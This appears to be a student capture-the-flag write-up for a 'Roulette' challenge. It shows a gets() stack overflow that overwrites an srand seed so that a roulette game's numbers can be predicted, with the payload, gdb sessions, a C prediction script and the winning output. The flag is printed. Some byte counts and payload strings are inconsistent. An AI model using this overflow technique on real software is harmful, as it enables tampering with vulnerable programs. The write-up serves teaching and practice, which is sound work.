Roulette

Problem Type

Buffer (Stack) Overflow

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
```

Solution

Vulnerability

```
int seed = time(0);
printHeader();
printf("Welcome to the CASINO!\n");
printf("What is your name?\n");
char name[64];
gets(name);

...

srand(seed);
```

`gets(name)` is vulnerable to buffer (stack) overflow.

There is no restriction on the length of the string that is read and passed into the buffer.

> As described in the linux manual page gets(3), '*It is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use.*'

Hence, players can pass in payloads of length larger than that of buffer, and successfully overwrite values on the stack. In this case, we are able to overwrite `int seed` to any value we want.

> A safer way of will be to use `fgets()` instead for program input.

Hypothesis

`srand(seed)` is called after `gets(name)`. We know we can overflow `name` to overwrite the value of `seed`.

By controlling `seed` and fixing its value, the random numbers generated will always be the same. Hence, we can then calculate with absolute certainty the first 7 random numbers that will be generated by the program.

Payload

`name` is 64 characters long. In order to achieve buffer overflow, our payload will be: `'A' * 64 + 'B' * 8 + 'C' * 4`.

This will fill up the name variable with 64 'A's, pad the input with 8 'B's, and overflow 8 bytes to change the `seed` to `0x43434343` where `43` is ASCII hexcode for `C`.

Scripting and Disassembly

Without Payload:

Input 'abcde' as name. We break the program at `srand()` to monitor the seed value. With no overflow, the seed is seemingly random, following `time(0)`.

```
$ gdb ./roulette
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
...

gdb-peda$ b srand
Breakpoint 1 at 0x1070

gdb-peda$ run

Welcome to the CASINO!
What is your name?
abcde

...

Breakpoint 1, __srandom (x=0x616531cd) at random.c:210

gdb-peda$ info args
x = 0x616531cd
```

With Payload:

Input the above payload, 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
as name. The seed is changed to `0x43434343`.

```
$ gdb ./roulette
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
...

gdb-peda$ b srand
Breakpoint 1 at 0x1070
gdb-peda$ run

...

Welcome to the CASINO!
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC

...

Breakpoint 1, __srandom (x=0x43434343) at random.c:210

gdb-peda$ info args
x = 0x43434343
```

We write the following script to obtain the random numbers.

```
int main(){
    int seed = 0x43434343;
    int random_numbers[7];
    srand(seed);
    for (int i = 0; i < 7; i++){
        random_numbers[i] = (rand() % 36) + 1;
        printf("Number %d is %d\n", i, random_numbers[i]);
    }
}
```

```
$ ./roulette_number_script
Number 0 is 17
Number 1 is 34
Number 2 is 25
Number 3 is 25
Number 4 is 33
Number 5 is 18
Number 6 is 11
```

We then input the payload, along with these numbers to win the challenge and obtain the flag.

Result

```
./roulette
================================================================================
/$$$$$$$                      /$$             /$$       /$$
| $$__  $$                    | $$            | $$      | $$
| $$  \ $$  /$$$$$$  /$$   /$$| $$  /$$$$$$  /$$$$$$   /$$$$$$    /$$$$$$
| $$$$$$$/ /$$__  $$| $$  $$| $$ /$$__  $$|_  $$_/  |_  $$_/   /$$__  $$
| $$__  $$| $$  \ $$| $$  | $$| $$| $$$$$$$$  | $$      | $$    | $$$$$$$$
| $$  \ $$| $$  | $$| $$  | $$| $$| $$_____/  | $$ /$$  | $$ /$$| $$_____/
| $$  | $$|  $$$$$$/|  $$$$$$/| $$|  $$$$$$$  |  $$$$/  |  $$$$/|  $$$$$$$
|__/  |__/ \______/  \______/ |__/ \_______/   \___/     \___/   \______/

================================================================================
Welcome to the CASINO!
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC
================================================================================
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC :)
Fancy trying your luck? We will be playing a game of roulette (1-36).
Guess correctly SEVEN times in a row and win a prize!
================================================================================
Guess a number from 1 to 36: 17
You guessed 17!
The number was 17!
You got it right!
The counter is now at: 1
```

```
-----------------------------------------------

Guess a number from 1 to 36: 34
You guessed 34!
The number was 34!
You got it right!
The counter is now at: 2

-----------------------------------------------

Guess a number from 1 to 36: 25
You guessed 25!
The number was 25!
You got it right!
The counter is now at: 3

-----------------------------------------------

Guess a number from 1 to 36: 25
You guessed 25!
The number was 25!
You got it right!
The counter is now at: 4

-----------------------------------------------

Guess a number from 1 to 36: 33
You guessed 33!
The number was 33!
You got it right!
The counter is now at: 5

-----------------------------------------------

Guess a number from 1 to 36: 18
You guessed 18!
The number was 18!
You got it right!
The counter is now at: 6

-----------------------------------------------

Guess a number from 1 to 36: 11
You guessed 11!
The number was 11!
You got it right!
The counter is now at: 7

-----------------------------------------------

CONGRATULATIONS! You really are a prophet! You got seven in a row!
The flag is: CZ4067{y0u_G3TS_b1g_buck5}
```

Flag

CZ4067{y0u_G3TS_b1g_buck5}